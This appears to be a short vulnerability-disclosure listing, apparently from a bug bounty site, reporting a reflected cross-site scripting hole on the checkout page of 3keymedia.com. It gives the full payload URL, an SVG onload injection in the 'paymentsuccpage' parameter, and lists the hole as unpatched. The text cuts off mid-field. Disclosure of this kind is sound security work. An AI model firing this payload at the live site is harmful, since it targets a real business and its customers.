3keymedia.com XSS vulnerability

Vulnerable URL: https://3keymedia.com/checkout/?paymentsuccpage=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Elandingpage=/thank-youname=Website%2C%20SEO%20%26%20Automationsubmitted=Y=/checkout=buynowlastupsell=YESgateway=authnet=Y=N Details: Description| Value ---|--- Patched:| No Latest check for...